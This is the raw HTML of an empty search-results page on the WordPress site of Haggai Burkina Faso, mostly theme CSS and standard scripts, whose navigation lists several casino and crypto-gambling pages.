input{background-color:#eee;border:none!important;width:100%!important;border-radius:0!important;font-size:14px;color:#999!important;padding:16px!important;-webkit-box-sizing:border-box;box-sizing:border-box}.et_password_protected_form label{display:none}.et_password_protected_form .et_submit_button{font-family:inherit;display:block;float:right;margin:8px auto 0;cursor:pointer}.post-password-required p.nocomments.container{max-width:100%}.post-password-required p.nocomments.container:before{display:none}.aligncenter,div.post .new-post .aligncenter{display:block;margin-left:auto;margin-right:auto}.wp-caption{border:1px solid #ddd;text-align:center;background-color:#f3f3f3;margin-bottom:10px;max-width:96%;padding:8px}.wp-caption.alignleft{margin:0 30px 20px 0}.wp-caption.alignright{margin:0 0 20px 30px}.wp-caption img{margin:0;padding:0;border:0}.wp-caption p.wp-caption-text{font-size:12px;padding:0 4px 5px;margin:0}.alignright{float:right}.alignleft{float:left}img.alignleft{display:inline;float:left;margin-right:15px}img.alignright{display:inline;float:right;margin-left:15px}.page.et_pb_pagebuilder_layout #main-content{background-color:transparent}body #main-content .et_builder_inner_content>h1,body #main-content .et_builder_inner_content>h2,body #main-content .et_builder_inner_content>h3,body #main-content .et_builder_inner_content>h4,body #main-content .et_builder_inner_content>h5,body #main-content .et_builder_inner_content>h6{line-height:1.4em}body #main-content .et_builder_inner_content>p{line-height:1.7em}.wp-block-pullquote{margin:20px 0 30px}.wp-block-pullquote.has-background blockquote{border-left:none}.wp-block-group.has-background{padding:1.5em 1.5em .5em}@media (min-width:981px){#left-area{width:79.125%;padding-bottom:23px}#main-content .container:before{content:"";position:absolute;top:0;height:100%;width:1px;background-color:#e2e2e2}.et_full_width_page #left-area,.et_no_sidebar #left-area{float:none;width:100%!important}.et_full_width_page #left-area{padding-bottom:0}.et_no_sidebar #main-content .container:before{display:none}}@media (max-width:980px){#page-container{padding-top:80px}.et-tb #page-container,.et-tb-has-header #page-container{padding-top:0!important}#left-area,#sidebar{width:100%!important}#main-content .container:before{display:none!important}.et_full_width_page .et_gallery_item:nth-child(4n+1){clear:none}}@media print{#page-container{padding-top:0!important}}#wp-admin-bar-et-use-visual-builder a:before{font-family:ETmodules!important;content:"\e625";font-size:30px!important;width:28px;margin-top:-3px;color:#974df3!important}#wp-admin-bar-et-use-visual-builder:hover a:before{color:#fff!important}#wp-admin-bar-et-use-visual-builder:hover a,#wp-admin-bar-et-use-visual-builder a:hover{transition:background-color .5s ease;-webkit-transition:background-color .5s ease;-moz-transition:background-color .5s ease;background-color:#7e3bd0!important;color:#fff!important}* html .clearfix,:first-child+html .clearfix{zoom:1}.iphone .et_pb_section_video_bg video::-webkit-media-controls-start-playback-button{display:none!important;-webkit-appearance:none}.et_mobile_device .et_pb_section_parallax .et_pb_parallax_css{background-attachment:scroll}.et-social-facebook a.icon:before{content:"\e093"}.et-social-twitter a.icon:before{content:"\e094"}.et-social-google-plus a.icon:before{content:"\e096"}.et-social-instagram a.icon:before{content:"\e09a"}.et-social-rss a.icon:before{content:"\e09e"}.ai1ec-single-event:after{content:" ";display:table;clear:both}.evcal_event_details .evcal_evdata_cell .eventon_details_shading_bot.eventon_details_shading_bot{z-index:3}.wp-block-divi-layout{margin-bottom:1em}*{-webkit-box-sizing:border-box;box-sizing:border-box}#et-info-email:before,#et-info-phone:before,#et_search_icon:before,.comment-reply-link:after,.et-cart-info span:before,.et-pb-arrow-next:before,.et-pb-arrow-prev:before,.et-social-icon a:before,.et_audio_container .mejs-playpause-button button:before,.et_audio_container .mejs-volume-button button:before,.et_overlay:before,.et_password_protected_form .et_submit_button:after,.et_pb_button:after,.et_pb_contact_reset:after,.et_pb_contact_submit:after,.et_pb_font_icon:before,.et_pb_newsletter_button:after,.et_pb_pricing_table_button:after,.et_pb_promo_button:after,.et_pb_testimonial:before,.et_pb_toggle_title:before,.form-submit .et_pb_button:after,.mobile_menu_bar:before,a.et_pb_more_button:after{font-family:ETmodules!important;speak:none;font-style:normal;font-weight:400;-webkit-font-feature-settings:normal;font-feature-settings:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-shadow:0 0;direction:ltr}.et-pb-icon,.et_pb_custom_button_icon.et_pb_button:after,.et_pb_login .et_pb_custom_button_icon.et_pb_button:after,.et_pb_woo_custom_button_icon .button.et_pb_custom_button_icon.et_pb_button:after,.et_pb_woo_custom_button_icon .button.et_pb_custom_button_icon.et_pb_button:hover:after{content:attr(data-icon)}.et-pb-icon{font-family:ETmodules;speak:none;font-weight:400;-webkit-font-feature-settings:normal;font-feature-settings:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;font-size:96px;font-style:normal;display:inline-block;-webkit-box-sizing:border-box;box-sizing:border-box;direction:ltr}#et-ajax-saving{display:none;-webkit-transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,box-shadow .3s;transition:background .3s,box-shadow .3s,-webkit-box-shadow .3s;-webkit-box-shadow:rgba(0,139,219,.247059) 0 0 60px;box-shadow:0 0 60px rgba(0,139,219,.247059);position:fixed;top:50%;left:50%;width:50px;height:50px;background:#fff;border-radius:50px;margin:-25px 0 0 -25px;z-index:999999;text-align:center}#et-ajax-saving img{margin:9px}.et-safe-mode-indicator,.et-safe-mode-indicator:focus,.et-safe-mode-indicator:hover{-webkit-box-shadow:0 5px 10px rgba(41,196,169,.15);box-shadow:0 5px 10px rgba(41,196,169,.15);background:#29c4a9;color:#fff;font-size:14px;font-weight:600;padding:12px;line-height:16px;border-radius:3px;position:fixed;bottom:30px;right:30px;z-index:999999;text-decoration:none;font-family:Open Sans,sans-serif;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.et_pb_button{font-size:20px;font-weight:500;padding:.3em 1em;line-height:1.7em!important;background-color:transparent;background-size:cover;background-position:50%;background-repeat:no-repeat;border:2px solid;border-radius:3px;-webkit-transition-duration:.2s;transition-duration:.2s;-webkit-transition-property:all!important;transition-property:all!important}.et_pb_button,.et_pb_button_inner{position:relative}.et_pb_button:hover,.et_pb_module .et_pb_button:hover{border:2px solid transparent;padding:.3em 2em .3em .7em}.et_pb_button:hover{background-color:hsla(0,0%,100%,.2)}.et_pb_bg_layout_light.et_pb_button:hover,.et_pb_bg_layout_light .et_pb_button:hover{background-color:rgba(0,0,0,.05)}.et_pb_button:after,.et_pb_button:before{font-size:32px;line-height:1em;content:"\35";opacity:0;position:absolute;margin-left:-1em;-webkit-transition:all .2s;transition:all .2s;text-transform:none;-webkit-font-feature-settings:"kern" off;font-feature-settings:"kern" off;font-variant:none;font-style:normal;font-weight:400;text-shadow:none}.et_pb_button.et_hover_enabled:hover:after,.et_pb_button.et_pb_hovered:hover:after{-webkit-transition:none!important;transition:none!important}.et_pb_button:before{display:none}.et_pb_button:hover:after{opacity:1;margin-left:0}.et_pb_column_1_3 h1,.et_pb_column_1_4 h1,.et_pb_column_1_5 h1,.et_pb_column_1_6 h1,.et_pb_column_2_5 h1{font-size:26px}.et_pb_column_1_3 h2,.et_pb_column_1_4 h2,.et_pb_column_1_5 h2,.et_pb_column_1_6 h2,.et_pb_column_2_5 h2{font-size:23px}.et_pb_column_1_3 h3,.et_pb_column_1_4 h3,.et_pb_column_1_5 h3,.et_pb_column_1_6 h3,.et_pb_column_2_5 h3{font-size:20px}.et_pb_column_1_3 h4,.et_pb_column_1_4 h4,.et_pb_column_1_5 h4,.et_pb_column_1_6 h4,.et_pb_column_2_5 h4{font-size:18px}.et_pb_column_1_3 h5,.et_pb_column_1_4 h5,.et_pb_column_1_5 h5,.et_pb_column_1_6 h5,.et_pb_column_2_5 h5{font-size:16px}.et_pb_column_1_3 h6,.et_pb_column_1_4 h6,.et_pb_column_1_5 h6,.et_pb_column_1_6 h6,.et_pb_column_2_5 h6{font-size:15px}.et_pb_bg_layout_dark,.et_pb_bg_layout_dark h1,.et_pb_bg_layout_dark h2,.et_pb_bg_layout_dark h3,.et_pb_bg_layout_dark h4,.et_pb_bg_layout_dark h5,.et_pb_bg_layout_dark h6{color:#fff!important}.et_pb_module.et_pb_text_align_left{text-align:left}.et_pb_module.et_pb_text_align_center{text-align:center}.et_pb_module.et_pb_text_align_right{text-align:right}.et_pb_module.et_pb_text_align_justified{text-align:justify}.clearfix:after{visibility:hidden;display:block;font-size:0;content:" ";clear:both;height:0}.et_pb_bg_layout_light .et_pb_more_button{color:#2ea3f2}.et_builder_inner_content{position:relative;z-index:1}header .et_builder_inner_content{z-index:2}.et_pb_css_mix_blend_mode_passthrough{mix-blend-mode:unset!important}.et_pb_image_container{margin:-20px -20px 29px}.et_pb_module_inner{position:relative}.et_hover_enabled_preview{z-index:2}.et_hover_enabled:hover{position:relative;z-index:2}.et_pb_all_tabs,.et_pb_module,.et_pb_posts_nav a,.et_pb_tab,.et_pb_with_background{position:relative;background-size:cover;background-position:50%;background-repeat:no-repeat}.et_pb_background_mask,.et_pb_background_pattern{bottom:0;left:0;position:absolute;right:0;top:0}.et_pb_background_mask{background-size:calc(100% + 2px) calc(100% + 2px);background-repeat:no-repeat;background-position:50%;overflow:hidden}.et_pb_background_pattern{background-position:0 0;background-repeat:repeat}.et_pb_with_border{position:relative;border:0 solid #333}.post-password-required .et_pb_row{padding:0;width:100%}.post-password-required .et_password_protected_form{min-height:0}body.et_pb_pagebuilder_layout.et_pb_show_title .post-password-required .et_password_protected_form h1,body:not(.et_pb_pagebuilder_layout) .post-password-required .et_password_protected_form h1{display:none}.et_pb_no_bg{padding:0!important}.et_overlay.et_pb_inline_icon:before,.et_pb_inline_icon:before{content:attr(data-icon)}.et_pb_more_button{color:inherit;text-shadow:none;text-decoration:none;display:inline-block;margin-top:20px}.et_parallax_bg_wrap{overflow:hidden;position:absolute;top:0;right:0;bottom:0;left:0}.et_parallax_bg{background-repeat:no-repeat;background-position:top;background-size:cover;position:absolute;bottom:0;left:0;width:100%;height:100%;display:block}.et_parallax_bg.et_parallax_bg__hover,.et_parallax_bg.et_parallax_bg_phone,.et_parallax_bg.et_parallax_bg_tablet,.et_parallax_gradient.et_parallax_gradient__hover,.et_parallax_gradient.et_parallax_gradient_phone,.et_parallax_gradient.et_parallax_gradient_tablet,.et_pb_section_parallax_hover:hover .et_parallax_bg:not(.et_parallax_bg__hover),.et_pb_section_parallax_hover:hover .et_parallax_gradient:not(.et_parallax_gradient__hover){display:none}.et_pb_section_parallax_hover:hover .et_parallax_bg.et_parallax_bg__hover,.et_pb_section_parallax_hover:hover .et_parallax_gradient.et_parallax_gradient__hover{display:block}.et_parallax_gradient{bottom:0;display:block;left:0;position:absolute;right:0;top:0}.et_pb_module.et_pb_section_parallax,.et_pb_posts_nav a.et_pb_section_parallax,.et_pb_tab.et_pb_section_parallax{position:relative}.et_pb_section_parallax .et_pb_parallax_css,.et_pb_slides .et_parallax_bg.et_pb_parallax_css{background-attachment:fixed}body.et-bfb .et_pb_section_parallax .et_pb_parallax_css,body.et-bfb .et_pb_slides .et_parallax_bg.et_pb_parallax_css{background-attachment:scroll;bottom:auto}.et_pb_section_parallax.et_pb_column .et_pb_module,.et_pb_section_parallax.et_pb_row .et_pb_column,.et_pb_section_parallax.et_pb_row .et_pb_module{z-index:9;position:relative}.et_pb_more_button:hover:after{opacity:1;margin-left:0}.et_pb_preload .et_pb_section_video_bg,.et_pb_preload>div{visibility:hidden}.et_pb_preload,.et_pb_section.et_pb_section_video.et_pb_preload{position:relative;background:#464646!important}.et_pb_preload:before{content:"";position:absolute;top:50%;left:50%;background:url(http://haggai-bf.org/wp-content/themes/Divi/includes/builder/styles/images/preloader.gif) no-repeat;border-radius:32px;width:32px;height:32px;margin:-16px 0 0 -16px}.box-shadow-overlay{position:absolute;top:0;left:0;width:100%;height:100%;z-index:10;pointer-events:none}.et_pb_section>.box-shadow-overlay~.et_pb_row{z-index:11}body.safari .section_has_divider{will-change:transform}.et_pb_row>.box-shadow-overlay{z-index:8}.has-box-shadow-overlay{position:relative}.et_clickable{cursor:pointer}.screen-reader-text{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute!important;width:1px;word-wrap:normal!important}.et_multi_view_hidden,.et_multi_view_hidden_image{display:none!important}@keyframes multi-view-image-fade{0%{opacity:0}10%{opacity:.1}20%{opacity:.2}30%{opacity:.3}40%{opacity:.4}50%{opacity:.5}60%{opacity:.6}70%{opacity:.7}80%{opacity:.8}90%{opacity:.9}to{opacity:1}}.et_multi_view_image__loading{visibility:hidden}.et_multi_view_image__loaded{-webkit-animation:multi-view-image-fade .5s;animation:multi-view-image-fade .5s}#et-pb-motion-effects-offset-tracker{visibility:hidden!important;opacity:0;position:absolute;top:0;left:0}.et-pb-before-scroll-animation{opacity:0}header.et-l.et-l--header:after{clear:both;display:block;content:""}.et_pb_module{-webkit-animation-timing-function:linear;animation-timing-function:linear;-webkit-animation-duration:.2s;animation-duration:.2s}@-webkit-keyframes fadeBottom{0%{opacity:0;-webkit-transform:translateY(10%);transform:translateY(10%)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes fadeBottom{0%{opacity:0;-webkit-transform:translateY(10%);transform:translateY(10%)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes fadeLeft{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeLeft{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeRight{0%{opacity:0;-webkit-transform:translateX(10%);transform:translateX(10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeRight{0%{opacity:0;-webkit-transform:translateX(10%);transform:translateX(10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeTop{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeTop{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeIn{0%{opacity:0}to{opacity:1}}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}.et-waypoint:not(.et_pb_counters){opacity:0}@media (min-width:981px){.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_column .et_pb_module.et-last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_column .et_pb_module:last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_row_inner .et_pb_column .et_pb_module.et-last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_row_inner .et_pb_column .et_pb_module:last-child,.et_pb_section div.et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_pb_section div.et_pb_row .et_pb_column .et_pb_module:last-child{margin-bottom:0}}@media (max-width:980px){.et_overlay.et_pb_inline_icon_tablet:before,.et_pb_inline_icon_tablet:before{content:attr(data-icon-tablet)}.et_parallax_bg.et_parallax_bg_tablet_exist,.et_parallax_gradient.et_parallax_gradient_tablet_exist{display:none}.et_parallax_bg.et_parallax_bg_tablet,.et_parallax_gradient.et_parallax_gradient_tablet{display:block}.et_pb_column .et_pb_module{margin-bottom:30px}.et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_pb_row .et_pb_column .et_pb_module:last-child,.et_section_specialty .et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_section_specialty .et_pb_row .et_pb_column .et_pb_module:last-child{margin-bottom:0}.et_pb_more_button{display:inline-block!important}.et_pb_bg_layout_light_tablet.et_pb_button,.et_pb_bg_layout_light_tablet.et_pb_module.et_pb_button,.et_pb_bg_layout_light_tablet .et_pb_more_button{color:#2ea3f2}.et_pb_bg_layout_light_tablet .et_pb_forgot_password a{color:#666}.et_pb_bg_layout_light_tablet h1,.et_pb_bg_layout_light_tablet h2,.et_pb_bg_layout_light_tablet h3,.et_pb_bg_layout_light_tablet h4,.et_pb_bg_layout_light_tablet h5,.et_pb_bg_layout_light_tablet h6{color:#333!important}.et_pb_module .et_pb_bg_layout_light_tablet.et_pb_button{color:#2ea3f2!important}.et_pb_bg_layout_light_tablet{color:#666!important}.et_pb_bg_layout_dark_tablet,.et_pb_bg_layout_dark_tablet h1,.et_pb_bg_layout_dark_tablet h2,.et_pb_bg_layout_dark_tablet h3,.et_pb_bg_layout_dark_tablet h4,.et_pb_bg_layout_dark_tablet h5,.et_pb_bg_layout_dark_tablet h6{color:#fff!important}.et_pb_bg_layout_dark_tablet.et_pb_button,.et_pb_bg_layout_dark_tablet.et_pb_module.et_pb_button,.et_pb_bg_layout_dark_tablet .et_pb_more_button{color:inherit}.et_pb_bg_layout_dark_tablet .et_pb_forgot_password a{color:#fff}.et_pb_module.et_pb_text_align_left-tablet{text-align:left}.et_pb_module.et_pb_text_align_center-tablet{text-align:center}.et_pb_module.et_pb_text_align_right-tablet{text-align:right}.et_pb_module.et_pb_text_align_justified-tablet{text-align:justify}}@media (max-width:767px){.et_pb_more_button{display:inline-block!important}.et_overlay.et_pb_inline_icon_phone:before,.et_pb_inline_icon_phone:before{content:attr(data-icon-phone)}.et_parallax_bg.et_parallax_bg_phone_exist,.et_parallax_gradient.et_parallax_gradient_phone_exist{display:none}.et_parallax_bg.et_parallax_bg_phone,.et_parallax_gradient.et_parallax_gradient_phone{display:block}.et-hide-mobile{display:none!important}.et_pb_bg_layout_light_phone.et_pb_button,.et_pb_bg_layout_light_phone.et_pb_module.et_pb_button,.et_pb_bg_layout_light_phone .et_pb_more_button{color:#2ea3f2}.et_pb_bg_layout_light_phone .et_pb_forgot_password a{color:#666}.et_pb_bg_layout_light_phone h1,.et_pb_bg_layout_light_phone h2,.et_pb_bg_layout_light_phone h3,.et_pb_bg_layout_light_phone h4,.et_pb_bg_layout_light_phone h5,.et_pb_bg_layout_light_phone h6{color:#333!important}.et_pb_module .et_pb_bg_layout_light_phone.et_pb_button{color:#2ea3f2!important}.et_pb_bg_layout_light_phone{color:#666!important}.et_pb_bg_layout_dark_phone,.et_pb_bg_layout_dark_phone h1,.et_pb_bg_layout_dark_phone h2,.et_pb_bg_layout_dark_phone h3,.et_pb_bg_layout_dark_phone h4,.et_pb_bg_layout_dark_phone h5,.et_pb_bg_layout_dark_phone h6{color:#fff!important}.et_pb_bg_layout_dark_phone.et_pb_button,.et_pb_bg_layout_dark_phone.et_pb_module.et_pb_button,.et_pb_bg_layout_dark_phone .et_pb_more_button{color:inherit}.et_pb_module .et_pb_bg_layout_dark_phone.et_pb_button{color:#fff!important}.et_pb_bg_layout_dark_phone .et_pb_forgot_password a{color:#fff}.et_pb_module.et_pb_text_align_left-phone{text-align:left}.et_pb_module.et_pb_text_align_center-phone{text-align:center}.et_pb_module.et_pb_text_align_right-phone{text-align:right}.et_pb_module.et_pb_text_align_justified-phone{text-align:justify}}@media (max-width:479px){a.et_pb_more_button{display:block}}@media (min-width:768px) and (max-width:980px){[data-et-multi-view-load-tablet-hidden=true]:not(.et_multi_view_swapped){display:none!important}}@media (max-width:767px){[data-et-multi-view-load-phone-hidden=true]:not(.et_multi_view_swapped){display:none!important}}.et_pb_menu.et_pb_menu--style-inline_centered_logo .et_pb_menu__menu nav ul{-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}@-webkit-keyframes multi-view-image-fade{0%{-webkit-transform:scale(1);transform:scale(1);opacity:1}50%{-webkit-transform:scale(1.01);transform:scale(1.01);opacity:1}to{-webkit-transform:scale(1);transform:scale(1);opacity:1}}
/*# sourceURL=divi-style-parent-inline-inline-css */
</style>
<link rel='stylesheet' id='divi-dynamic-css' href='http://haggai-bf.org/wp-content/et-cache/search/et-divi-dynamic.css?ver=1780281739' media='all' />
<link rel='stylesheet' id='divi-style-css' href='http://haggai-bf.org/wp-content/themes/Divi-child/style.css?ver=4.27.6' media='all' />
<link rel="https://api.w.org/" href="https://haggai-bf.org/wp-json/" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://haggai-bf.org/xmlrpc.php?rsd" />
<meta name="generator" content="WordPress 7.0" />
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" /><link rel="icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF-150x150.png" sizes="32x32" />
<link rel="icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" sizes="192x192" />
<link rel="apple-touch-icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" />
<meta name="msapplication-TileImage" content="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" />
<link rel="stylesheet" id="et-divi-customizer-global-cached-inline-styles" href="http://haggai-bf.org/wp-content/et-cache/global/et-divi-customizer-global.min.css?ver=1780281736" /></head>
<body class="search search-no-results wp-custom-logo wp-theme-Divi wp-child-theme-Divi-child et_pb_button_helper_class et_fixed_nav et_show_nav et_primary_nav_dropdown_animation_fade et_secondary_nav_dropdown_animation_fade et_header_style_left et_pb_footer_columns4 et_cover_background et_pb_gutter et_pb_gutters3 et_right_sidebar et_divi_theme et-db">
	<div id="page-container">

	
	
			<header id="main-header" data-height-onload="66">
			<div class="container clearfix et_menu_container">
							<div class="logo_container">
					<span class="logo_helper"></span>
					<a href="https://haggai-bf.org/">
						<img src="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" width="931" height="742" alt="HAGGAI BURKINA FASO" id="logo" data-height-percentage="54" />
					</a>
				</div>
							<div id="et-top-navigation" data-height="66" data-fixed-height="40">
											<nav id="top-menu-nav">
													<ul id="top-menu" class="nav">
																	<li ><a href="https://haggai-bf.org/">Accueil</a></li>
								
								<li class="page_item page-item-844"><a href="https://haggai-bf.org/bitcoin-jatszani-fiokellenorzes-utmutato/">Bitcoin játszani – fiókellenőrzés útmutató</a></li>
<li class="page_item page-item-840"><a href="https://haggai-bf.org/bitcoin-kasino-v-ceske-republice-kompletni-pruvodce-bonusy-rychle-vybery-a-bezpecnost/">Bitcoin kasino v České republice – kompletní průvodce, bonusy, rychlé výběry a bezpečnost</a></li>
<li class="page_item page-item-838"><a href="https://haggai-bf.org/btc-hrat-aplikace-a-mobilni-pruvodce/">BTC hrát: aplikace a mobilní průvodce</a></li>
<li class="page_item page-item-469"><a href="https://haggai-bf.org/canli-casino-siteleri-2026-en-iyi-ve-guvenilir-casino-listesi/">Canlı Casino Siteleri 2026 &#8211; En İyi ve Güvenilir Casino Listesi</a></li>
<li class="page_item page-item-832"><a href="https://haggai-bf.org/casino-bitcoin-guia-paso-a-paso-para-registrarte-e-iniciar-sesion/">Casino Bitcoin: guía paso a paso para registrarte e iniciar sesión</a></li>
<li class="page_item page-item-847"><a href="https://haggai-bf.org/crypto-casino-europe-review-bonuses-payments-mobile-guide-for-dutch-players/">Crypto Casino Europe Review – Bonuses, Payments &#038; Mobile Guide for Dutch Players</a></li>
<li class="page_item page-item-239"><a href="https://haggai-bf.org/magyar-casino-online-fiokellenorzes-lepesei-praktikus-utmutato/">Magyar casino online fiókellenőrzés lépései – Praktikus útmutató</a></li>
<li class="page_item page-item-41"><a href="https://haggai-bf.org/nous-contacter/">Nous contacter</a></li>
<li class="page_item page-item-828"><a href="https://haggai-bf.org/pin-up-az-rbaycanin-n-yaxsi-kazinosu-r-smi-sayt/">Pin Up &#8211; Azərbaycanın ən yaxşı kazinosu | Rəsmi sayt</a></li>
<li class="page_item page-item-826"><a href="https://haggai-bf.org/pin-up-casino-az-rbaycanda-onlayn-kazino-pin-up/">Pin Up Casino &#8211; Azərbaycanda onlayn kazino Pin-Up</a></li>
<li class="page_item page-item-821"><a href="https://haggai-bf.org/pin-up-casino-onlayn-az-rbaycan/">Pin Up Casino Onlayn Azərbaycan</a></li>
									<li class="cat-item cat-item-11"><a href="https://haggai-bf.org/category/public/">public</a>
</li>
							</ul>
												</nav>
					
					
					
											<div id="et_top_search">
							<span id="et_search_icon"></span>
						</div>
					
					<div id="et_mobile_nav_menu">
				<div class="mobile_nav closed">
					<span class="select_page">Sélectionner une page</span>
					<span class="mobile_menu_bar mobile_menu_bar_toggle"></span>
				</div>
			</div>				</div> <!-- #et-top-navigation -->
			</div> <!-- .container -->
						<div class="et_search_outer">
				<div class="container et_search_form_container">
					<form role="search" method="get" class="et-search-form" action="https://haggai-bf.org/">
					<input type="search" class="et-search-field" placeholder="Rechercher &hellip;" value="label/PHP-Shells" name="s" title="Rechercher:" />					</form>
					<span class="et_close_search_field"></span>
				</div>
			</div>
					</header> <!-- #main-header -->
			<div id="et-main-area">
	
<div id="main-content">
	<div class="container">
		<div id="content-area" class="clearfix">
			<div id="left-area">
		<div class="entry">
	<h1 class="not-found-title">Aucun résultat</h1>
	<p>La page demandée est introuvable. Essayez d&#039;affiner votre recherche ou utilisez le panneau de navigation ci-dessus pour localiser l&#039;article.</p>
</div>
			</div>

					</div>
	</div>
</div>


			<footer id="main-footer">
				

		
				<div id="footer-bottom">
					<div class="container clearfix">
				<ul class="et-social-icons">

	<li class="et-social-icon et-social-facebook">
		<a href="#" class="icon">
			<span>Facebook</span>
		</a>
	</li>
	<li class="et-social-icon et-social-twitter">
		<a href="#" class="icon">
			<span>X</span>
		</a>
	</li>
	<li class="et-social-icon et-social-instagram">
		<a href="#" class="icon">
			<span>Instagram</span>
		</a>
	</li>
	<li class="et-social-icon et-social-rss">
		<a href="https://haggai-bf.org/feed/" class="icon">
			<span>RSS</span>
		</a>
	</li>

</ul><div id="footer-info">Design JRB XSolutions |  (c) 2025 HAGGAI BURKINA FASO</div>					</div>
				</div>
			</footer>
		</div>


	</div>

	<script type="speculationrules">
{"prefetch":[{"source":"document","where":{"and":[{"href_matches":"/*"},{"not":{"href_matches":["/wp-*.php","/wp-admin/*","/wp-content/uploads/*","/wp-content/*","/wp-content/plugins/*","/wp-content/themes/Divi-child/*","/wp-content/themes/Divi/*","/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]}
</script>
<script id="jquery-core-js" src="http://haggai-bf.org/wp-includes/js/jquery/jquery.min.js?ver=3.7.1"></script>
<script id="jquery-migrate-js" src="http://haggai-bf.org/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1"></script>
<script id="jquery-js-after">
jqueryParams.length&&$.each(jqueryParams,function(e,r){if("function"==typeof r){var n=String(r);n.replace("$","jQuery");var a=new Function("return "+n)();$(document).ready(a)}});
//# sourceURL=jquery-js-after
</script>
<script id="divi-custom-script-js-extra">
var DIVI = {"item_count":"%d Item","items_count":"%d Items"};
var et_builder_utils_params = {"condition":{"diviTheme":true,"extraTheme":false},"scrollLocations":["app","top"],"builderScrollLocations":{"desktop":"app","tablet":"app","phone":"app"},"onloadScrollLocation":"app","builderType":"fe"};
var et_frontend_scripts = {"builderCssContainerPrefix":"#et-boc","builderCssLayoutPrefix":"#et-boc .et-l"};
var et_pb_custom = {"ajaxurl":"http://haggai-bf.org/wp-admin/admin-ajax.php","images_uri":"http://haggai-bf.org/wp-content/themes/Divi/images","builder_images_uri":"http://haggai-bf.org/wp-content/themes/Divi/includes/builder/images","et_frontend_nonce":"1ba54686f7","subscription_failed":"Veuillez v\u00e9rifier les champs ci-dessous pour vous assurer que vous avez entr\u00e9 les informations correctes.","et_ab_log_nonce":"6e1a125dd2","fill_message":"S'il vous pla\u00eet, remplissez les champs suivants:","contact_error_message":"Veuillez corriger les erreurs suivantes :","invalid":"E-mail non valide","captcha":"Captcha","prev":"Pr\u00e9c\u00e9dent","previous":"Pr\u00e9c\u00e9dente","next":"Prochaine","wrong_captcha":"Vous avez entr\u00e9 le mauvais num\u00e9ro dans le captcha.","wrong_checkbox":"Case \u00e0 cocher","ignore_waypoints":"no","is_divi_theme_used":"1","widget_search_selector":".widget_search","ab_tests":[],"is_ab_testing_active":"","page_id":"","unique_test_id":"","ab_bounce_rate":"","is_cache_plugin_active":"yes","is_shortcode_tracking":"","tinymce_uri":"http://haggai-bf.org/wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors","accent_color":"#7EBEC5","waypoints_options":[]};
var et_pb_box_shadow_elements = [];
//# sourceURL=divi-custom-script-js-extra
</script>
<script id="divi-custom-script-js" src="http://haggai-bf.org/wp-content/themes/Divi/js/scripts.min.js?ver=4.27.6"></script>
<script id="fitvids-js" src="http://haggai-bf.org/wp-content/themes/Divi/includes/builder/feature/dynamic-assets/assets/js/jquery.fitvids.js?ver=4.27.6"></script>
<script id="et-core-common-js" src="http://haggai-bf.org/wp-content/themes/Divi/core/admin/js/common.js?ver=4.27.6"></script>
</body>
</html>
